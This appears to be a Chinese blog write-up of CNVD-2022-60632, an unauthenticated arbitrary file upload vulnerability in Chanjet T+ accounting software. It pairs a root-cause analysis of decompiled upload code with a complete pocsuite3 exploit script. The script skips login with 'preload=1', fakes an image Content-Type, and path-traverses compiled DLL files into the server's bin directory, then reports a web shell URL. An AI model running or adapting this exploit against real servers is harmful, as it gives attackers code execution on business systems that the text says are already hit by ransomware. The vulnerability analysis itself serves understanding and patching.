概述:CNVD-2022-60632 畅捷通 T+ 任意文件上传漏洞

免责声明:本文所涉及的信息安全技术知识仅供参考和学习之用,并不构成任何明示或暗示的保证。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规,并保证不违反任何相关法律法规。

漏洞说明

漏洞描述

2022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。目前,已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。

CNVD对该漏洞的综合评级为“高危”。

影响范围

漏洞影响的产品和版本: 畅捷通T+单机版17.0且使用IIS10.0以下版本。

POC

POC 使用了 pocsuit 工具,pocsuit 是使用 Python 编写的一个专门用于 POC 编写开发使用的工具集。

如何使用 pocsuit 工具跑 poc?

以下方 POC 代码为例,运行 POC 命令如下所示:

pocsuite -r .\CNVD-2022-60632.py -u http://localhost:80/ --verify

文件架构如下所示:

image-20240508145832793

上传的文件为 bin 目录下的 dll 文件和 compiled 文件。

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptString
import json
import os
 
 
class ChanJetPOC(POCBase):
    vulID = '0'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  # 默认为1
    author = ['']  # PoC作者的大名
    vulDate = '2022-09-23'  # 漏洞公开的时间,不知道就写今天
    createDate = '2022-09-23'  # 编写 PoC 的日期
    updateDate = '2022-09-23'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = '畅捷通T+ 任意文件上传'  # PoC 名称
    appPowerLink = ''  # 漏洞厂商主页地址
    appName = '畅捷通T+'  # 漏洞应用名称
    appVersion = '''畅捷通T+单机版<=17.0且使用IIS10.0以下版本'''  # 漏洞影响版本
    vulType = VUL_TYPE.UPLOAD_FILES  # 漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        CNVD-2022-60632 畅捷通T+ 任意文件上传漏洞
    '''
 
  # 漏洞简要描述
    samples = ['']  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ['']  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = '''
    检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify
    '''
    category = POC_CATEGORY.EXPLOITS.REMOTE
 
    def _verify(self):
        result = {}
        path = "/tplus/SM/SetupAccount/Upload.aspx?preload=1"
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
        }
        url = self.url + path
        filename = os.listdir('bin')
        filename_compiled = filename[0]
        filename_dll = filename[1]
        try:
            files = {"File1": ("../../../bin/"+filename_compiled+"",open('bin/'+filename_compiled, "rb"), "image/jpeg")}
            resq_0 = requests.post(url=url, headers=headers, files=files, timeout=1000)
            files = {"File1": ("../../../bin/"+filename_dll+"",open('bin/'+filename_dll, "rb"), "image/jpeg")}
            resq_1 = requests.post(url=url, headers=headers, files=files, timeout=1000)
            if resq_0.status_code == 200 and resq_1.status_code == 200:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['shell'] = self.url + '/tplus/shell.aspx?preload=1'
        except Exception as e:
            print(e)
            return
        return self.parse_output(result)
 
    def _attack(self):
        return self._verify()
 
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
    def _shell(self):
        return
 
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
register_poc(ChanJetPOC)

漏洞分析

分析内容参考了其他作者的内容,仅学习记录,供参考。

前提环境,请求的 Params 中 preload 设置为 1 的目的是为了跳过登录认证,这个参数在畅捷通未登录情况下不能少。

漏洞位置为 upload 相关接口。在畅捷通环境下查看相关文件:

  • TPlusStd\WebSite\SM\SetupAccount\upload.aspx:预编译文件,无实际内容,查看相关编译文件
  • \TPlusStd\WebSite\bin\upload.aspx.9475d17f.compiled:upload 相关逻辑预编译文件,指明了产物及编译所需的文件,内容如下所示: image-20240508163306577
  • 查看编译产物 App_Web_upload.aspx.9475d17f.dll,通过 DNSpy 查看 dll 内容。 image-20240508163613153

dnSpy 反编译的 Page_Load 函数内容如下所示:

// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
	protected void Page_Load(object sender, EventArgs e)
	{
		this.ReadResources();
		if (base.Request.Files.Count == 1)
		{
			string text = "images/index.gif";
			object obj = this.ViewState["fileName"];
			if (obj != null)
			{
				text = obj.ToString();
			}
			if (this.File1.PostedFile.ContentLength > 204800)
			{
				base.Response.Write(string.Concat(new string[]
				{
					"<script language='javascript'>alert('",
					this.PhotoTooLarge,
					"'); parent.document.getElementById('myimg').src='",
					text,
					"';</script>"
				}));
				return;
			}
			if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
			{
				base.Response.Write(string.Concat(new string[]
				{
					"<script language='javascript'>alert('",
					this.PhotoTypeError,
					"'); parent.document.getElementById('myimg').src='",
					text,
					"';</script>"
				}));
				return;
			}
			string fileName = this.File1.PostedFile.FileName;
			string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
			this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
			string value = base.Server.MapPath(".") + "\\images\\" + text2;
			this.ViewState["fileName"] = "images/" + text2;
			this.Session["ImageName"] = value;
		}
	}

函数的大致逻辑就是检查参数的 Content-Type 和文件大小(小于 200 KB),检查通过的话函数会继续往下执行。在 接口请求时已经修改过上传文件的 Content-Type 了,并且文件的大小也符合条件。条件允许范围内,任意后缀文件都可以上传。

Postman修改 Content-Type 参数

附加到畅捷通进程调试截图如下所示:

Page_Load 函数

可以看到上图这里已经保存了上传的文件。

补充:补充一下 preload 参数的校验逻辑

  1. 找一下 App_Web_upload.aspx.9475d17f 依赖的dll image-20240508170419783image-20240508170614728
  2. 查找和登录鉴权相关的接口 image-20240508170855132
  3. 判断条件如下所示,当 flag 或者是以下所示的请求路径时,才会走到最终的请求,否则会在当前这个函数( APPLication_PreRequestHandlerExecute)处理请求 image-20240508171359323